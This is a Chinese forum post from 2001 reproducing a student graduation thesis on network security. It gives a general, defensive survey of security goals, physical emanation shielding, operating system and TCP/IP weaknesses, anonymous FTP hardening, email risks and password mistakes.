找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 3867|回复: 17

网 络 安 全 毕 业 论 文

[复制链接]
发表于 2001-6-11 19:30:33 | 显示全部楼层 |阅读模式
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免其他人或对手利用窃听、冒充、篡改、抵赖等手段侵犯用户的利益和隐,同时也避免其它用户的非授权访问和破坏。从网络运行和管理者角度说,他们希望对本地网络信息的访问、读写等操作受到保护和控制,避免出现“陷门”、病毒、非法存取、拒绝服务和网络资源非法占用和非法控制等威胁,制止和防御网络黑客的攻击。 对安全保密部门来说,他们希望对非法的、有害的或涉及国家机密的信息进行过滤和防堵,避免机要信息泄露,避免对社会产生危害,对国家造成巨大损失。 从社会教育和意识形态角度来讲,网络上不健康的内容,会对社会的稳定和人类的发展造成阻碍,必须对其进行控制。 从本质上来讲,网络安全就是网络上的信息安全,是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全所要研究的领域。网络安全涉及的内容既有技术方面的问题,也有管理方面的问题,两方面相互补充,缺一不可。技术方面主要侧重于防范外部非法用户的攻击,管理方面则侧重于内部人为因素的管理。如何更有效地保护重要的信息数据、提高计算机网络系统的安全性已经成为所有计算机网络应用必须考虑和必须解决的一个重要问题。
不同环境和应用中的网络安全
运行系统安全:即保证信息处理和传输系统的安全。它侧重于保证系统正常运行,避免因为系统的崩溃和损坏而对系统存贮、处理和传输的信息造成破坏和损失,避免由于电磁泄漏,产生信息泄露,干扰他人,受他人干扰。 网络上系统信息的安全:包括用户口令鉴别,用户存取权限控制,数据存取权限、方式控制,安全审计,安全问题跟踪,计算机病毒防治,数据加密。 网络上信息传播安全:即信息传播后果的安全。包括信息过滤等。它侧重于防止和控制非法、有害的信息进行传播后的后果。避免公用网络上大量自由传输的信息失控。 网络上信息内容的安全:它侧重于保护信息的保密性、真实性和完整性。避免攻击者利用系统的安全漏洞进行窃听、冒充、诈骗等有损于合法用户的行为。本质上是保护用户的利益和隐私 .
  网络安全的结构层次主要包括:物理安全、安全控制和安全服务。
1: 物理安全
物理安全是指在物理介质层次上对存贮和传输的网络信息的安全保护。也就是保护计算机网络设备、设施以及其它媒体免遭地震、水灾、火灾等环境事故以及人为操作失误或错误及各种计算机犯罪行为导致的破坏过程。物理安全是网络信息安全的最基本保障,是整个安全系统不可缺少和忽视的组成部分。它主要包括三个方面:
环境安全:对系统所在环境的安全保护。
设备安全:主要包括设备的防盗、防毁、防电磁信息辐射泄漏、防止线路截获、抗电磁干扰及电源保护等;
媒体安全:包括媒体数据的安全及媒体本身的安全。
目前,该层次上常见的不安全因素包括三大类:
1)自然灾害(比如,地震、火灾、洪水等)、物理损坏(比如,硬盘损坏、设备使用寿命到期、外力破损等)、设备故障(比如,停电断电、电磁干扰等)。此类不安全因素的特点是:突发性、自然性、非针对性。这种不安全因素对网络信息的完整性和可用性威胁最大,而对网络信息的保密性影响却较小,因为在一般情况下,物理上的破坏将销毁网络信息本身。解决此类不安全隐患的有效方法是采取各种防护措施、制定安全规章、随时数据备份等。
2)电磁辐射(比如,侦听微机操作过程),乘机而入(比如,合法用户进入安全进程后半途离开),痕迹泄露(比如,口令密钥等保管不善,被非法用户获得)等。此类不安全因素的特点是:隐蔽性、人为实施的故意性、信息的无意泄露性。这种不安全因素主要破坏网络信息的保密性,而对网络信息的完整性和可用性影响不大。解决此类不安全隐患的有效方法是采取辐射防护、屏幕口令、隐藏销毁等手段。
3)操作失误(比如,偶然删除文件,格式化硬盘,线路拆除等),意外疏漏(比如,系统掉电、“死机”等系统崩溃)。此类不安全因素的特点是:人为实施的无意性和非针对性。这种不安全因素主要破坏网络信息的完整性和可用性,而对保密性影响不大。解决此类不安全隐患的有效方法是:状态检测、报警确认、应急恢复等。 显然,为保证信息网络系统的物理安全,除在网络规划和场地、环境等要求之外,还要防止系统信息在空间的扩散。计算机系统通过电磁辐射使信息被截获而失秘的案例已经很多,在理论和技术支持下的验证工作也证实这种截取距离在几百甚至可达千米的复原显示给计算机系统信息的保密工作带来了极大的危害。为了防止系统中的信息在空间上的扩散,通常是在物理上探取一定的防护措施,来减少或干扰扩散出去的空间信号。这对重要的政策、军队、金融机构在兴建信息中心时都将成为首要设置的条件。
正常的防范措施主要在三个方面:
1、 对主机房及重要信息存储、收发部门进行屏蔽处理 即建设一个具有高效屏蔽效能的屏蔽室,用它来安装运行主要设备,以防止磁鼓,磁带与高辐射设备等的信号外泄。为提高屏蔽室的效能,在屏蔽室与外界的各项联系、连接中均要采取相应的隔离措施和设计,如信号线、电话线、空调、消防控制线,以及通风波导,门的关起等。
2、 对本地网、局域网传输线路传导辐射的抑制,由于电缆传输辐射信息的不可避免性,现均采用了光缆传输的方式,大多数均在Modem出来的设备用光电转换接口,用光缆接出屏蔽室外进行传输。
3、 对终端设备辐射的防范
终端机尤其是CRT显示器,由于上万伏高压电子流的作用,辐射有极强的信号外泄,但又因终端分散使用不宜集中采用屏蔽室的办法来防止,故现在的要求除在订购设备上尽量选取低辐射产品外,目前主要采取主动式的干扰设备如干扰机来破坏对应信息的窃复,个别重要的首脑或集中的终端也可考虑采用有窗子的装饰性屏蔽室,此类虽降低了部份屏蔽效能,但可大大改善工作环境,使人感到在普通机房内一样工作。
安全控制是指在网络信息系统中对存贮和传输的信息的操作和进程进行控制和管理,重点是在网络信息处理层次上对信息进行初步的安全保护。安全控制可以分为以下三个层次:
1)操作系统的安全控制。包括:对用户的合法身份进行核实(比如,开机时要求键入口令)、对文件的读写存取的控制(比如,文件属性控制机制)。此类安全控制主要保护被存贮数据的安全。
2)网络接口模块的安全控制。在网络环境下对来自其他机器的网络通信进程进行安全控制。此类控制主要包括身份认证、客户权限设置与判别、审计日志等。
3)网络互联设备的安全控制。对整个子网内的所有主机的传输信息和运行状态进行安全监测和控制。此类控制主要通过网管软件或路由器配置实现。需要指明的是,安全控制主要通过现有的操作系统或网管软件、路由器配置等实现。安全控制只提供了初步的安全功能和网络信息保护。
安全服务是指在应用程序层对网络信息的保密性、完整性和信源的真实性进行保护和鉴别,满足用户的安全需求,防止和抵御各种安全威胁和攻击手段。安全服务可以在一定程度上弥补和完善现有操作系统和网络信息系统的安全漏洞。安全服务的主要内容包括:安全机制、安全连接、安全协议、安全策略等。
1)安全机制是利用密码算法对重要而敏感的数据进行处理。比如,以保护网络信息的保密性为目标的数据加密和解密;以保证网络信息来源的真实性和合法性为目标的数字签名和签名验证;以保护网络信息的完整性,防止和检测数据被修改、插入、删除和改变的信息认证等。安全机制是安全服务乃至整个网络信息安全系统的核心和关键。现代密码学在安全机制的设计中扮演着重要的角色。
2)安全连接是在安全处理前与网络通信方之间的连接过程。安全连接为安全处理进行了必要的准备工作。安全连接主要包括会话密钥的分配和生成和身份验证。后者旨在保护信息处理和操作的对等双方的身份真实性和合法性。
3)安全协议。协议是多个使用方为完成某些任务所采取的一系列的有序步骤。协议的特性是:预先建立、相互同意、非二义性和完整性。安全协议使网络环境下互不信任的通信方能够相互配合,并通过安全连接和安全机制的实现来保证通信过程的安全性、可靠性和公平性。
4)安全策略。安全策略是安全体制、安全连接和安全协议的有机组合方式,是网络信息系统安全性的完整的解决方案。安全策略决定了网络信息安全系统的整体安全性和实用性。不同的网络信息系统和不同的应用环境需要不同的安全策略。
网络安全的目标 通俗地说,网络信息安全与保密主要是指保护网络信息系统,使其没有危险、不受威胁、不出事故。从技术角度来说,网络信息安全与保密的目标主要表现在系统的保密性、完整性、真实性、可靠性、可用性、不可抵赖性等方面。
1:可靠性
可靠性是网络信息系统能够在规定条件下和规定的时间内完成规定的功能的特性。可靠性是系统安全的最基于要求之一,是所有网络信息系统的建设和运行目标。网络信息系统的可靠性测度主要有三种:抗毁性、生存性和有效性。
2.抗毁性是指系统在人为破坏下的可靠性。比如,部分线路或节点失效后,系统是否仍然能够提供一定程度的服务。增强抗毁性可以有效地避免因各种灾害(战争、地震等)造成的大面积瘫痪事件。 生存性是在随机破坏下系统的可靠性。生存性主要反映随机性破坏和网络拓扑结构对系统可靠性的影响。这里,随机性破坏是指系统部件因为自然老化等造成的自然失效。 有效性是一种基于业务性能的可靠性。有效性主要反映在网络信息系统的部件失效情况下,满足业务性能要求的程度。比如,网络部件失效虽然没有引起连接性故障,但是却造成质量指标下降、平均延时增加、线路阻塞等现象。 可靠性主要表现在硬件可靠性、软件可靠性、人员可靠性、环境可靠性等方面。硬件可靠性最为直观和常见。软件可靠性是指在规定的时间内,程序成功运行的概率。人员可靠性是指人员成功地完成工作或任务的概率。人员可靠性在整个系统可靠性中扮演重要角色,因为系统失效的大部分原因是人为差错造成的。人的行为要受到生理和心理的影响,受到其技术熟练程度、责任心和品德等素质方面的影响。因此,人员的教育、培养、训练和管理以及合理的人机界面是提高可靠性的重要方面。环境可靠性是指在规定的环境内,保证网络成功运行的概率。这里的环境主要是指自然环境和电磁环境。
3:可用性
可用性是网络信息可被授权实体访问并按需求使用的特性。即网络信息服务在需要时,允许授权用户或实体使用的特性,或者是网络部分受损或需要降级使用时,仍能为授权用户提供有效服务的特性。可用性是网络信息系统面向用户的安全性能。网络信息系统最基本的功能是向用户提供服务,而用户的需求是随机的、多方面的、有时还有时间要求。可用性一般用系统正常使用时间和整个工作时间之比来度量。可用性还应该满足以下要求:身份识别与确认、访问控制(对用户的权限进行控制,只能访问相应权限的资源,防止或限制经隐蔽通道的非法访问。包括自主访问控制和强制访问控制)、业务流控制(利用均分负荷方法,防止业务流量过度集中而引起网络阻塞)、路由选择控制(选择那些稳定可靠的子网,中继线或链路等)、审计跟踪(把网络信息系统中发生的所有安全事件情况存储在安全审计跟踪之中,以便分析原因,分清责任,及时采取相应的措施。审计跟踪的信息主要包括:事件类型、被管客体等级、事件时间、事件信息、事件回答以及事件统计等方面的信息。)
4: 保密性
保密性是网络信息不被泄露给非授权的用户、实体或过程,或供其利用的特性。即,防止信息泄漏给非授权个人或实体,信息只为授权用户使用的特性。保密性是在可靠性和可用性基础之上,保障网络信息安全的重要手段。 常用的保密技术包括:防侦收(使对手侦收不到有用的信息)、防辐射(防止有用信息以各种途径辐射出去)、信息加密(在密钥的控制下,用加密算法对信息进行加密处理。即使对手得到了加密后的信息也会因为没有密钥而无法读懂有效信息)、物理保密(利用各种物理方法,如限制、隔离、掩蔽、控制等措施,保护信息不被泄露)。
5: 完整性
完整性是网络信息未经授权不能进行改变的特性。即网络信息在存储或传输过程中保持不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏和丢失的特性。完整性是一种面向信息的安全性,它要求保持信息的原样,即信息的正确生成和正确存储和传输。 完整性与保密性不同,保密性要求信息不被泄露给未授权的人,而完整性则要求信息不致受到各种原因的破坏。影响网络信息完整性的主要因素有:设备故障、误码(传输、处理和存储过程中产生的误码,定时的稳定度和精度降低造成的误码,各种干扰源造成的误码)、人为攻击、计算机病毒等。
保障网络信息完整性的主要方法有:
协议:通过各种安全协议可以有效地检测出被复制的信息、被删除的字段、失效的字段和被修改的字段;纠错编码方法:由此完成检错和纠错功能。最简单和常用的纠错编码方法是奇偶校验法;密码校验和方法:它是抗撰改和传输失败的重要手段;数字签名:保障信息的真实性;公证:请求网络管理或中介机构证明信息的真实性。
不可抵赖性也称作不可否认性,在网络信息系统的信息交互过程中,确信参与者的真实同一性。即,所有参与者都不可能否认或抵赖曾经完成的操作和承诺。利用信息源证据可以防止发信方不真实地否认已发送信息,利用递交接收证据可以防止收信方事后否认已经接收的信息。
可控性是对网络信息的传播及内容具有控制能力的特性。 概括地说,网络信息安全与保密的核心是通过计算机、网络、密码技术和安全技术,保护在公用网络信息系统中传输、交换和存储的消息的保密性、完整性、真实性、可靠性、可用性、不可抵赖性等。安全漏洞大家一定非常熟悉,网络信息系统不外乎由硬件和软件组成,关于硬件(也就是物理安全),我们在前面已经有过一些论述,这里就不再多废口舌了,而由于软件程序的复杂性和编程的多样性,在网络信息系统的软件中很容易有意或无意地留下一些不易被发现的安全漏洞,显然对于安全而言显得更加重要一些。因此我们在此介绍一些有代表性的软件方面的安全漏洞。 软件方面的安全漏洞,从应用层次上而言分为应用软件的安全漏洞,操作系统的安全漏洞,数据库的安全漏洞,通信协议的安全漏洞,网络服务和应用方面的安全漏洞,个人应用方面的安全漏洞等等,下面我们分别对各种层次的安全漏洞进行一些概括性的叙述。
1:陷门与防范
陷门可以理解成“后门”,就是在程序员进行开发时插入的一小段程序,目的是测试这个模块,或是为了连接将来的更改和升级程序,或者是为了将来发生故障后,为程序员提供方便等合法用途等等。总而言之,陷门就是一个程序模块的秘密入口,这个入口是未记入相关文档的(如用户手册)。通常在程序开发后程序员会将去掉这些陷门。但是由于各种原因,陷门也可能被保留下来。陷门一旦被原来的程序员利用,或者被不怀好意的人发现,都将带来严重的安全后果。比如,可能利用这个“后门”在程序中建立隐蔽通道,植入一些隐蔽的病毒程序等,总之,如果你们家有了一个你不知道的后门,会发生什么事情你是应该可以想象的。更可怕的是如果你是位于局域网上的话,黑客更可以利用“后门”将你的主机作为攻击整个局域网的大本营。对付陷门的方法可以归纳为:
(1)加强程序开发阶段的安全控制,防止有意破坏并改善软件的可靠性。比如,采用先进的软件工程进行对等检查、模块结构、封装和信息隐藏、独立测试和程序正确性证明以及配置管理等。
(2)在程序的使用过程中实行科学的安全控制。比如,利用信息分割限制恶意程序和病毒的扩散;利用审计日志跟踪入侵者和事故状态,促进程序间信息的安全共享。
(3)制定规范的软件开发标准,加强管理,对相关人员的职责进行有效监督,改善软件的可用性和可维护性。
操作系统的安全漏洞与防范
操作系统是硬件和软件应用程序之间接口的程序模块,它是整个网络信息系统的核心控制软件,系统的安全体现在整个操作系统之中。对一个设计上不够安全的操作系统,事后采用增加安全特性或打补丁的办法是一项很艰巨的任务,特别是对引进的国外设备,在没有详细技术资料的情况下,其工作更加复杂。 操作系统的主要功能包括:进程控制和调度、信息处理、存储器管理、文件管理、输入/输出管理、资源管理、时间管理等。操作系统的安全是深层次的安全,主要的安全功能包括:存储器保护(限定存储区和地址重定位,保护存储的信息)、文件保护(保护用户和系统文件,防止非授权用户访问)、访问控制、用户认证(识别请求访问的用户权限和身份).操作系统的安全漏洞主要有: 输入/输出(I/O)非法访问:在某些操作系统中,一旦I/O操作被检查通过之后,该操作系统就继续执行下去而不再检查,从而造成后续操作的非法访问。某些操作系统使用公共的系统缓冲区,任何用户都可以搜索这个缓冲区,如果此缓冲区没有严格的安全措施,那么其中的机密信息(用户的认证数据、身份识别号、口令等)就有可能被泄露。 访问控制的混乱:安全访问强调隔离和保护措施,但是资源共享则要求公开和开放。这是一对矛盾,如果在设计操作系统时没能够处理好这两者之间的关系,那么就可能会出现因为界限不清造成操作系统的安全问题。 不完全的中介:完全的中介必须检查每次访问请求以进行适当的审批。而某些操作系统省略了必要的安全保护。比如,仅检查一次访问或没有全面实施保护机制。 操作系统陷门: 某些操作系统为了安装其它公司的软件包而保留了一种特殊的管理程序功能。尽管此管理功能的调用需要以特权方式进行,但是并未受到严密的监控,缺乏必要的认证和访问权的限制,有可能被用于安全访问控制,从而形成操作系统陷门。 有一些系统在缺省状态下,会自动建立一些帐户,
 楼主| 发表于 2001-6-11 19:33:04 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
例如guest等。由于这些帐户都有一个约定俗成的口令,因此若网络系统管理员忽视了它的存在,则任何人都可以大摇大摆的进入该主机。与此类似,还有一种系统缺省建立的帐户,如shutdown、sync。这种帐户一般是为了执行一个相关命令,所以并不设口令。其UID(用户身份证)多与系统管理员的相同,故与系统管理员具有同样的权限。一个网络黑客可以冒充利用这种帐户,来取得系统管理员的权限。而且从技术角度来讲,这并不困难。 特别是针对超级用户的程序。 为了建立安全的操作系统,首先必须构造操作系统的安全模型(单级安全模型、多级安全模型、系统流模型等)和不同的实施方法。其次应该采用诸如隔离、核化(最小特权等)和环结构(开放设计和完全中介)等安全科学的操作系统设计方法。再者,还需要建立和完善操作系统的评估标准、评价方法和测试质量。
3: 数据库的安全漏洞与防范
数据库是从操作系统的文件系统基础上派生出来的用于大量数据的管理系统。数据库的全部数据都记录在存储媒体上,并由数据库管理系统(DBMS)统一管理。DBMS为用户及应用程序提供一种访问数据的方法,并且对数据库进行组织和管理,并对数据库进行维护和恢复。数据库系统的安全策略,部分由操作系统来完成,部分由强化DBMS自身安全措施来完成。数据库系统存放的数据往往比计算机系统本身的价值大得多,必须加以特别保护。从操作系统的角度看,DBMS是一种应用程序而数据库是一种数据文件。为了防止数据库中的数据受到物理破坏而不能恢复原来的系统,应当对数据库系统采取定期备份所有文件的方法来保护系统的完整性。 DBMS是在操作系统的基础之上运行的应用程序,是为多个用户共享的应用软件。因此,不能允许它具有任何通向操作系统的可信途径。DBMS必须具有独立的用户身份鉴别机制,以便构成一种双重保护。有时还可以对使用数据库的时间甚至地点加以限制,甚至要求用户只能在指定时间指定终端上对数据库系统进行指定的操作。 有些数据库将原始数据以明文形式存储于数据库中,这是不够安全的。实际上,高明的入侵者可以从计算机系统的内存中导出所需的信息,或者采用某种方式打入系统,从系统的后备存储器上窃取数据或篡改数据。因此,必要时应该对存储数据进行加密保护。数据库的加密应该采用独特的加密方法和密钥管理方法,因为数据的生命周期一般较长,密钥的保存时间也相应较长。
4:TCP/IP协议的安全漏洞与防范
协议是两个或多个参与者为完成某种任务或功能而采取的一系列有序步骤。在网络信息系统中,协议使得不了解的双方能够相互配合并保证公平性。协议可以为通信者建立、维护和解除通讯联系,实现不同机型互连的共同约定。协议的基本特点是:预先建立(在使用前事先设计好)、相互约定(协议的所有参加者要约定按顺序执行的步骤)、无歧义(不应使参加者由于误解而不能执行其步骤)、完备的(对每一种可能发生的情况都有预防措施)。通信网的运行机制基于通信协议。不同节点之间的信息交换按照事先约定的固定机制,通过协议数据单元来完成。对每个节点来说,所谓通信只是对接收到的一系列协议数据单元产生响应,而对从网上来到的信息真实性或从节点发给网中其他节点的真实性均无法提供保证。高速信息网在技术上以传统电信网为基础,通过改革传输协议发展而来的,因此,各种传输协议之间的不一致性,也会大大影响信息的安全质量。 TCP/IP协议是90年代以来发展最为迅速的网络协议。目前,TCP/IP协议在英特网上一统天下。正是由于它的广泛使用性,使得TCP/IP的任何安全漏洞都会产生巨大的影响。由于TCP/IP技术是面向数据通信的,因而它是无连接的网络,数据信息包穿过传输网时并不采用特定的路由,所以TCP/IP技术并不能向终端应用提供保证的QoS(服务管理质量)。 尽管TCP/IP技术在网络方面取得了巨大的成功,但也越来越暴露出它的不足之处。TCP/IP通信协议,在设计初期并没有考虑到安全性问题,而且用户和网络管理员没有足够的精力专注于网络安全控制,加上操作系统和应用程序越来越复杂,开发人员不可能测试出所有的安全漏洞,连接到网络上的计算机系统就可能受到外界的恶意攻击和窃取。在异种机型间资源共享的背后,是即令黑客心动,又让网络安全专家头痛的一个又一个的漏洞和缺陷:脆弱的认证机制、容易被窃听或监视、易受欺骗、有缺陷的LAN服务和相互信任的主机、复杂的设置和控制、基于主机的安全不易扩展、IP地址的不保密性等。 为了尽可能地解决TCP/IP的安全问题,INTERNET的技术管理机构IETF(INTERNET工程任务组)研究了一种新版本IP协议,称为Ipv6。新的IP协议地址长度由现在的32位扩展到128位;增加了安全机制,重点从鉴别和保密两个方面制定了一系列标准,以支持21世纪的应用。1995年8月,IETF发表了五个与安全相关的标准来定义INTERNET的安全功能。这五个标准是:RFC 1825 (安全体系结构综述)、RFC 1826 (分组鉴别扩展到IP的描述)、 RFC 1827 (分组加密扩展到IP的描述)、RFC 1828 (专用鉴别机制)、RFC 1829 (专用加密机制)。Ipv6强制性地支持这些安全标准。其安全特性主要在IP信元头后面的扩展元头中实现。用于鉴别的扩展信元头叫做鉴别信元头。用于保密的扩展信元头叫做密封保密负载信元头。
5: 网络软件与网络服务的漏洞
比较常见的网络软件与网络服务的漏洞有:
Finger的漏洞。在TCP/IP协议中,Finger只需一个IP地址便可以提供许多关于主机的信息,比如:谁正在登录、登录时间、登录地点等。对于一个训练有素的网络黑客来讲,Finger无疑是其进入目标主机的一把利器。因为若知道网络用户名,也就等于入侵成功了一半。
匿名FTP。 匿名FTP是英特网服务商的一项重要的服务,它允许任何网络用户通过FTP访问系统上的软件。而不正确的配置将严重威胁系统的安全。FTP虽然是一个合法的帐户,但它不应该具有可工作的Shell。所以它在主机的口令文件中的帐户信息应是:ftp:*: 400:400: Anonymous Ftp:/home/ftp:/bin/false , 还应该保证Ftp的主目录权限为0555;~ftp/bin、~ftp/etc的权限是111;~ftp/etc/*的权限是0444;/usr/spool/mail/ftp的权限是0400。任何以Ftp登录到系统的用户都不应该具有创建文件和目录的权限,因为黑客完全可以在一个具有写权限的目录内设置一个“特洛依木马”,静静的等待用户或网络管理员上钩。TFTP是一个相当危险的文件传输服务,由于它根本不作登录与控制审查,任何人可以通过该命令取走服务器上的具有读权限的文件。 远程登录。在大型网络环境下,远程登录可以给用户带来很大方便,但在方便的背后却潜藏着一个很大的安全危机。 在网络上运行诸如rlogin、rcprexec等远程命令时,由于要跨越一些网络的传输口令,而TCP/IP对所传输的信息又不进行加密,所以,网络黑客只要在所攻击的目标主机的IP包所经过的一条路由上运行“嗅探器”的程序,就可以截取目标口令。根据有关资料,目前黑客所用的“嗅探器”程序,在24小时之内便可以捕捉到千余条口令。所以,远程登录将给网络黑客提供便利的入侵机会,给网络安全和信息保密带来很大威胁。 此外,TCP/IP网络中的echo、systat、netstat、bootp、udp、tftp、link、supdup、sunprc、news、snmp、xdmcp、exec、login、shell、printer、biff、who、syslog、uucp、route、openwin、NFS、X11等服务被认为是不安全的,尤其是那些依赖于入呼叫包的UDP的服务。电子邮件。电子邮件是当今网络上使用最多的一项服务,因此,通过电子邮件来攻击一个系统是网络黑客们的拿手好戏。曾经名噪一时的莫里斯“蠕虫”病毒,正是利用了电子邮件的漏洞在英特网上疯狂传播。对于一个国内网络用户,尤其是商业用户,最担心的莫过于电子邮件的安全和保密。 在计算机网络中最容易被窃的就是电子邮件的信息。尽管电子邮件的传输仅仅是几分钟的事情,但它所经过的传输过程却十分复杂:
首先,在电子邮件服务器上,将使用者的电子邮件“打包”(即将使用者的电子邮件转化成一组组二进制代码,以便于网络传输),该邮件服务器被称为SMTP服务器,专用于发送电子邮件,它遵守的是SMTP协议(即:简单邮件传输协议); 然后,由于电子邮件服务器主机与收信人的电子邮件服务器主机并不一定是连接在一起的,其中必然要经过许多网络主机,这些网络主机将电子邮件信息暂时存贮,并寻找通向收信人主机的最佳途径; 最后,电子邮件到达收信人主机,再转换成收信人主机所能识别的计算机信息。收信人主机被称为POP服务器,它遵从POP协议(即:邮局协议)。 电子邮件的发送要经过许多中转主机节点。在每个节点邮件将被临时存贮,直到线路畅通,才会沿最佳路径向下一个主机节点传送。电子邮件这种犹如明信片慢件一样一件件的接力传递方式,每经过一个节点就多了一次被黑客们截取信息的机会。 实际上,网络黑客最简单的偷窃电子邮件的手段就是偷取网络用户的用户密码。而且这对网络黑客来说是比较容易。SMTP和POP3是与电子邮件有关的两个服务,分别负责电子邮件的发送与接收,Sendmail程序是电子邮件的核心程序。Sendmail的版本越低,其安全漏洞就越多。电子邮件给网络所带来的另一个安全问题是E-mail计算机病毒。上述已提到过莫里斯“蠕虫”病毒,正是利用E-mail来进行广泛传播的。目前,除“蠕虫”病毒之外,电子邮件所附带的文档如Lotus、Excel电子数据表文件,特别是Microsoft的Word文件等都可能带有病毒。比如,前不久发现了一种利用电子邮件传播的计算机Word宏病毒,它首先感染病毒源机的所有Word文档,并在计算机上查找使用者的电子邮件通讯录,随机地选取三个地址自动发出三封电子邮件,到达目标主机后检查计算机是否被传染,若无,则侵入计算机以同样方式感染计算机并传播病毒。 6:口令设置的漏洞 口令是网络信息系统中最常用的安全与保密措施之一。如果用户采用了适当的口令,那么他的信息系统安全性将得到大力加强。但是,实际上网络用户中谨慎设置口令的用户却很少。这对计算机内信息的安全保护带来了很大的隐患。曾有人在英特网上选择了几个网点,用字典攻击法在给出用户名的条件下,测出70%的用户口令只用了三十多分钟,80%用了两小时,83%用了48小时。网络信息系统的设计安全性再强,如果用户选择的口令不当,仍然存在被破坏的危险。用户对口令的选择,存在着以下几个
误区:
误区之一:用“姓名+数字”作口令,许多用户用自己或与自己有关的人的姓名再加上其中某人的生日等作口令。
误区之二:用单个的单词或操作系统(如:DOS等)的命令作口令。
误区之三:多个主机用同一个口令,将导致一个主机口令被窃会影响多台主机的安全。
误区之四:只使用一些小写字母作为口令,这样使字典攻击法攻破的概率大增。
以上四个口令设置的误区,都会给黑客带来可乘之机(具体后果就不说了),所以,作为用户的我们,要做到的第一点就是在设置口令的时候千万小心,不要犯了上述的错误。
国内外的网络安全现状分析
网络安全(又称信息安全)的概念在本世纪经历了一个漫长的历史阶段,90年代以来得到了深化。从信息的保密性(保证信息不泄漏给未经授权的人),拓展到信息的完整性(防止信息被未经授权的篡改,保证真实的信息从真实的信源无失真的到达真实的信宿)、信息的可用性(保证信息及信息系统确实为授权使用者所用,防止由于计算机病毒或其它人为因素造成的系统拒绝管理)、信息的不可否认性(保证信息行为人不能否认自己的行为)等。信息安全需要"攻、防、测、控、管、评"等多方面的基础理论和实施技术。国际上信息安全研究起步早,力度大,积累多,应用广。80年代,美国国防部基于军事计算机系统的保密需要,在70年代的基础理论研究成果计算机保密模型(Bell &La padula模型)的基础上,制订了"可信计算机系统安全评价准则"(TCSEC),其后又制订了关于网络系统、数据库等方面和系列安全解释,形成了安全信息系统体系结构的最早原则。至今美国已研究出达到 TCSEC要求安全系统(包括安全操作系统、安全数据库、安全网络部件)的产品多达100多种。
90年代初,英、法、德、荷四国针对TCSEC准则只考虑保密性的局限,联合提出了包括保密性、完整性、可用性概念的"信息技术安全评价准则"(TISFC),但是该准则中并没有给出综合解决以上问题的理论模型和方案。近年来六国七方(美国国家安全局和国家技术标准研究所、加、英、法、德、荷)共同提出了"信息技术安全评价通用准则"(CC for IT?SEC)。CC综合了国际上已有的评审准则和技术标准的精华,给出了框架和原则要求。然而,将作为取代TCSEC用于系统安全的评测的国际标准,它仍然缺少综合解决信息的多种安全属性的理论模型依据。同时,他们的高安全级别的产品对我国是封锁禁售的。
安全协议作为信息安全的重要内容其形式化方法分析始于80年代初,目前有基于状态机、模态逻辑和代数工具的三种分析方法,但仍有局限性和漏洞,处于发展提高阶段。由于在广泛应用的国际互联网上,黑客入侵事件不断发生,不良信息大量传播,网络安全监控管理理论和机制的研究受到重视,黑客入侵手段的研究分析,系统脆弱性检测技术,报警技术,信息内容分级标识机制,智能化信息内容分析等研究成果已经成为众多安全工具软件的基础。研究中揭示出系统中存在许多设计缺陷,存在情报机构有意埋伏的安全陷阱的可能。例如在CPU芯片中,在发达国家现有技术条件下,可以植入无线发射接收功能,在操作系统、数据库管理系统或应用程序中能够预先安置从事情报收集、受控激发破坏程序。通过这些功能,可以接收特殊病毒;接收来自网络或空间的指令来触发CPU的自杀功能,搜集和发送敏感信息;通过特殊指令在加密操作中将部分明文隐藏在网络协议层中传输等。而且,通过唯一识别CPU个体的序列号,可以主动、准确地识别、跟踪或攻击一个使用该芯片的计算机系统,根据预先设定收集敏感信息或进行定向破坏。作为信息安全关键技术的密码学,近年来空前活跃。美、欧、亚各洲举行的密码学和信息安全学术会议频繁。1976年美国学者提出的公开密钥密码体制克服了网络信息系统密钥管理的困难同时解决了数字签名问题,并可用于身份认证,它是当前研究的热点。电子商务的安全性是当前人们普遍关注的焦点,目前正处于研究和发展阶段,它带动了论证理论、密钥管理等的研究。1 977年美国颁布使用的国家数据加密标准由于密码分析和攻击手段的进步,已不能满足安全需要,美国正在征集作为21世纪的新的数据加密标准。计算机运算速度的不断提高,各种密码算法面临着新的密码体制如量子密码、DNA密码、混沌理论,正处于探索中。基于密码理论的综合研究成果和可信计算机系统的研究成果,构建公开密钥基础设施,密钥管理基础设施成为当前的另一个热点。我国信息安全研究经历了通信保密、计算机数据保护两个发展阶段,正在进入网络信息安全的研究阶段。安全体系的构建和评估,通过学习、吸收、消化TCSEC的原则进行了安全操作系统、多级安全数据库的研制,但由于系统安全内核受控于人,以及国外产品的不断更新升级,基于具体产品的增强安全功能的成果,难以保证没有漏洞,难以得到推广应用。在学习借鉴国外技术的基础上,国内一些部门也开发研制了一些防火墙、安全路由器、安全网关、黑客入侵检测、系统脆弱性扫描软件等。但是,这些产品安全技术的完善性、规范化实用性还存在许多不足,特别是在多平台的兼容性、多协议的适应性、多接口的满足性方面存在很大距离,理论基础和自主的技术手段也需要发展和强化。总的来说,我国的网络信息安全研究起步晚,投入少,研究力量分散,与技术先进国家有差距,特别是在系统安全和安全协议方面的工作与国外差距更大,在我国研究和建立创新性安全理论和系列算法,仍是一项艰巨的任务。然而我国的网络信息安全研究毕竟已具备了一定的基础和条件,尤其是在密码学研究方面积累较多,基础较好,只要国家重视,加大投入,恰当组织,可以取得实质性进展。全球大约使用windows的人有90%,其中使用windows2000的人有75%,windows95/98/ME的人有10%,而windows NT4.0的人有5%,其他的人10%使用Linux,Unix.
回复

使用道具 举报

 楼主| 发表于 2001-6-11 19:35:58 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
